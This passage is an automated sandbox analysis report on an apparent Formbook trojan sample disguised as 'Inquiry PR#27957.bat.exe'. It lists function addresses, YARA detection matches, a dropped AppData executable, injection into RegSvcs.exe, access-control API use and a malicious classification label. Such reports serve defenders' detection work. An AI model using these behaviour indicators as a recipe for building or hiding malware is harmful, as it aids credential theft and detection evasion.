Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016EF0E0	9_2_016EF0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016DF0CC	9_2_016DF0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016370C0	9_2_016370C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0161D34C	9_2_0161D34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016E132D	9_2_016E132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0167739A	9_2_0167739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016D12ED	9_2_016D12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164B2C0	9_2_0164B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016352A0	9_2_016352A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016E7571	9_2_016E7571
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F95C3	9_2_016F95C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CD5B0	9_2_016CD5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01621460	9_2_01621460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016EF43F	9_2_016EF43F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016EF7B0	9_2_016EF7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01675630	9_2_01675630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016E16CC	9_2_016E16CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01639950	9_2_01639950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164B950	9_2_0164B950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016C5910	9_2_016C5910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169D800	9_2_0169D800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016338E0	9_2_016338E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016EFB76	9_2_016EFB76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A5BF0	9_2_016A5BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0166DBF9	9_2_0166DBF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164FB80	9_2_0164FB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A3A6C	9_2_016A3A6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016EFA49	9_2_016EFA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016E7A46	9_2_016E7A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016DDAC6	9_2_016DDAC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016CDAAC	9_2_016CDAAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01675AA0	9_2_01675AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016D1AA3	9_2_016D1AA3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016E7D73	9_2_016E7D73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01633D40	9_2_01633D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016E1D5A	9_2_016E1D5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164FDC0	9_2_0164FDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A9C32	9_2_016A9C32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016EFCF2	9_2_016EFCF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016EFF09	9_2_016EFF09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015F3FD5	9_2_015F3FD5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015F3FD2	9_2_015F3FD2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016EFFB1	9_2_016EFFB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01631F92	9_2_01631F92
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01639EB0	9_2_01639EB0
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Code function: 10_2_00A98210	10_2_00A98210
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Code function: 10_2_00A985B6	10_2_00A985B6
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Code function: 10_2_00A996D1	10_2_00A996D1
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Code function: 10_2_00A99630	10_2_00A99630
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Code function: 10_2_00A99942	10_2_00A99942
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Code function: 10_2_069126D0	10_2_069126D0
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Code function: 10_2_069145D8	10_2_069145D8
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Code function: 10_2_069145E8	10_2_069145E8
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Code function: 10_2_06912298	10_2_06912298
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Code function: 10_2_06912B08	10_2_06912B08
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Code function: 10_2_0691A368	10_2_0691A368
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Code function: 10_2_06919180	10_2_06919180
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Code function: 10_2_069141B0	10_2_069141B0
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Code function: 10_2_069141AD	10_2_069141AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01100100	14_2_01100100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01156000	14_2_01156000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_011902C0	14_2_011902C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01110535	14_2_01110535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01134750	14_2_01134750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01110770	14_2_01110770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0110C7C0	14_2_0110C7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0112C6E0	14_2_0112C6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01126962	14_2_01126962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_011129A0	14_2_011129A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0111A840	14_2_0111A840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01112840	14_2_01112840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01148890	14_2_01148890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_010F68B8	14_2_010F68B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0113E8F0	14_2_0113E8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0110EA80	14_2_0110EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0111AD00	14_2_0111AD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0111ED7A	14_2_0111ED7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01128DBF	14_2_01128DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01118DC0	14_2_01118DC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0110ADE0	14_2_0110ADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01110C00	14_2_01110C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01100CF2	14_2_01100CF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01130F30	14_2_01130F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01152F28	14_2_01152F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01184F40	14_2_01184F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0118EFA0	14_2_0118EFA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01102FC8	14_2_01102FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01110E59	14_2_01110E59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01122E90	14_2_01122E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0114516C	14_2_0114516C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_010FF172	14_2_010FF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0111B1B0	14_2_0111B1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_010FD34C	14_2_010FD34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_011133F3	14_2_011133F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_011152A0	14_2_011152A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0112B2C0	14_2_0112B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0112D2F0	14_2_0112D2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01101460	14_2_01101460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01113497	14_2_01113497
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_011574E0	14_2_011574E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0111B730	14_2_0111B730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01119950	14_2_01119950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0112B950	14_2_0112B950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01115990	14_2_01115990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0117D800	14_2_0117D800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_011138E0	14_2_011138E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0112FB80	14_2_0112FB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01185BF0	14_2_01185BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0114DBF9	14_2_0114DBF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01183A6C	14_2_01183A6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01113D40	14_2_01113D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0112FDC0	14_2_0112FDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01189C32	14_2_01189C32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01129C20	14_2_01129C20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01111F92	14_2_01111F92
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01119EB0	14_2_01119EB0
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Code function: 16_2_03E3EDF1	16_2_03E3EDF1
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Code function: 16_2_03E40BA6	16_2_03E40BA6
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Code function: 16_2_03E40B9D	16_2_03E40B9D
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Code function: 16_2_03E5F2B6	16_2_03E5F2B6
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Code function: 16_2_03E47886	16_2_03E47886
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Code function: 16_2_03E47882	16_2_03E47882
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Code function: 16_2_03E40DC6	16_2_03E40DC6
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Code function: 16_2_03E354B7	16_2_03E354B7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 01677E54 appears 110 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 0117EA12 appears 37 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 016AF290 appears 105 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 01665130 appears 58 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 0161B970 appears 280 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 01157E54 appears 97 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 0169EA12 appears 86 times

Source: Inquiry PR#27957.bat.exe

Static PE information: invalid certificate

Source: Inquiry PR#27957.bat.exe, 00000000.00000002.1351958774.0000000002F27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCAA.dll4 vs Inquiry PR#27957.bat.exe
Source: Inquiry PR#27957.bat.exe, 00000000.00000002.1374530515.0000000008D64000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevVTR.exe( vs Inquiry PR#27957.bat.exe
Source: Inquiry PR#27957.bat.exe, 00000000.00000002.1372644857.0000000007290000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs Inquiry PR#27957.bat.exe
Source: Inquiry PR#27957.bat.exe, 00000000.00000002.1350638471.00000000010DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Inquiry PR#27957.bat.exe
Source: Inquiry PR#27957.bat.exe, 00000000.00000002.1353264199.00000000040FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs Inquiry PR#27957.bat.exe
Source: Inquiry PR#27957.bat.exe, 00000000.00000000.1323414765.0000000000BB6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamevVTR.exe( vs Inquiry PR#27957.bat.exe
Source: Inquiry PR#27957.bat.exe	Binary or memory string: OriginalFilenamevVTR.exe( vs Inquiry PR#27957.bat.exe

Source: Inquiry PR#27957.bat.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 9.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 9.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.1645996592.00000000015A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.1645343377.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000011.00000002.3788281912.0000000002F50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000011.00000002.3788326451.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000010.00000002.3788150976.0000000003C10000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000015.00000002.3791731697.00000000050A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000011.00000002.3785830120.0000000000A50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000013.00000002.1956019902.0000000000C90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.1647315768.0000000002340000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000012.00000002.3788370711.00000000043B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000E.00000002.1858896914.0000000003320000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: Inquiry PR#27957.bat.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: fuqwoDzun.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, b9060lgXpIuMEFTtMf.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, r3Q1SYRNwEfwp9YRQp.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, r3Q1SYRNwEfwp9YRQp.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, r3Q1SYRNwEfwp9YRQp.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, r3Q1SYRNwEfwp9YRQp.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, r3Q1SYRNwEfwp9YRQp.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, r3Q1SYRNwEfwp9YRQp.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, b9060lgXpIuMEFTtMf.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, r3Q1SYRNwEfwp9YRQp.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, r3Q1SYRNwEfwp9YRQp.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, r3Q1SYRNwEfwp9YRQp.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, b9060lgXpIuMEFTtMf.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@25/16@17/12

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe

File created: C:\Users\user\AppData\Roaming\fuqwoDzun.exe

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7336:120:WilError_03
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7740:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7296:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7244:120:WilError_03

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe

File created: C:\Users\user\AppData\Local\Temp\tmp2C94.tmp

Source: Inquiry PR#27957.bat.exe

